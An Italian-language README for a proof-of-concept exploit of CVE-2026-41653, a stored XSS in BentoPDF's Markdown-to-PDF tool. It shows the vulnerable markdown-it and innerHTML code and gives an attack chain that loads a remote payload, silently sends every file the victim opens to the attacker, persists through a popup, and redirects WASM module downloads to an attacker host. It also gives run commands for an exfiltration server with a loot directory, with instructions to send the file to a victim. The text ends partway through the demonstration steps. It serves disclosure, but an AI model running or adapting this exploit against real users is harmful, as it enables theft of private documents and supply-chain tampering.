
Proof-of-concept exploit per CVE-2026-41653, una XSS persistente in BentoPDF che consente l'esfiltrazione silenziosa di file e il dirottamento della supply chain WASM.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Avviso upstream: Avviso GHSA di alam00000/bentopdf
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF è una toolbox PDF self-hosted lato browser (comprimi, unisci, dividi, ruota, converti, Markdown-to-PDF, ecc.).
Lo strumento Markdown-to-PDF passa il Markdown fornito dall'utente attraverso markdown-it con html: true e inietta l'output renderizzato direttamente nel DOM tramite innerHTML senza alcuna sanitizzazione. Un attaccante che consegna un file .md appositamente creato ottiene l'esecuzione di JavaScript arbitrario nell'origine di BentoPDF.
Poiché BentoPDF è un'applicazione completamente lato client, ogni strumento (Compress PDF, Merge PDF, Split PDF, ecc.) carica ed elabora i file direttamente nel browser della vittima. Un singolo XSS è quindi sufficiente per esfiltrare silenziosamente ogni documento che la vittima apre in qualsiasi strumento durante la sessione.
L'attaccante invia report.md (contenente )
-> La vittima lo apre in Markdown-to-PDF
-> markdown-it renderizza HTML grezzo (html: true)
-> preview.innerHTML = html (nessun DOMPurify)
-> poc_payload.js caricato dal server dell'attaccante (nessuna CSP)
-> FileReader + <input type=file> hook applicati a tutta l'app
-> popup nascosto re-inietta gli hook a ogni navigazione tra strumenti
-> ogni file aperto dalla vittima viene esfiltrato silenziosamente
localStorage['bentopdf:wasm-providers'], reindirizzando i download dei moduli WASM di PyMuPDF, Ghostscript e cpdf verso un host controllato dall'attaccante.window.opener e re-inietta gli hook sui file ogni volta che la vittima naviga verso uno strumento diverso, mantenendo l'accesso per l'intera sessione.bentopdf-*, aggiungendo un hook di esfiltrazione a ogni file /assets/*.js servito al browser oltre la sessione corrente.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (righe 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // i tag HTML grezzi passano attraverso il parser markdown
breaks: false,
linkify: true,
typographer: true,
};
Tag come ``, <svg>, <details> e qualsiasi attributo di gestione eventi (onerror, onload, ontoggle) vengono inoltrati al DOM così come sono.
innerHTML non sanitizzata (CWE-116)src/js/utils/markdown-editor.ts (righe 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controllato dall'attaccante iniettato nel DOM
this.renderMermaidDiagrams();
}
Nessuna libreria di sanitizzazione viene applicata tra markdown-it e innerHTML. Il browser analizza la stringa iniettata, incontra il gestore di eventi inline e lo esegue immediatamente.
nginx.conf viene distribuito senza header Content-Security-Policy. Il JavaScript iniettato può caricare liberamente script esterni, effettuare richieste fetch() verso qualsiasi host e aprire finestre popup. Una CSP restrittiva avrebbe impedito la fase di caricamento degli script esterni anche con il sink intatto.
# Avvia il server dell'attaccante per l'esfiltrazione
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py:
# - genera il payload poc_report.md nella directory corrente
# - inizia ad ascoltare i callback della vittima e i file esfiltrati
Invia poc_report.md alla vittima e chiedile di aprirlo in BentoPDF → Markdown-to-PDF. Il payload si attiva nel momento in cui l'anteprima viene renderizzata, e tutti i file che la vittima caricherà in futuro vengono esfiltrati al server dell'attaccante.
| Opzione | Predefinito | Descrizione |
|---|---|---|
--lhost | obbligatorio | IP raggiungibile dal browser della vittima |
--lport | 9999 | Porta di ascolto |
--loot-dir | ./loot/ | Directory in cui vengono salvati i file esfiltrati |
--log-file | nessuno | Aggiunge tutti gli eventi a un file (codici ANSI rimossi) |
--no-color | disattivato | Disabilita i colori ANSI nell'output del terminale |
1. Server dell'attaccante avviato con --lhost e --lport. Il poc_report.md dannoso viene generato automaticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC di Astaruf (https://nstsec.com)
========================================================================
Server di esfiltrazione: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Directory loot: /home/kali/loot
========================================================================
File .md dannoso pronto: /home/kali/poc_report.md
Invialo alla vittima e chiedile di aprirlo nello strumento Markdown-to-PDF.
Il payload si attiva non appena l'anteprima viene renderizzata.
========================================================================
In attesa delle vittime...
2. La vittima apre lo strumento Markdown-to-PDF in BentoPDF.

3. La vittima carica poc_report.md. L'anteprima viene renderizzata, `` non riesce a caricarsi, onerror si attiva. poc_payload.js viene recuperato dal server dell'attaccante senza alcuna CSP a bloccarlo.
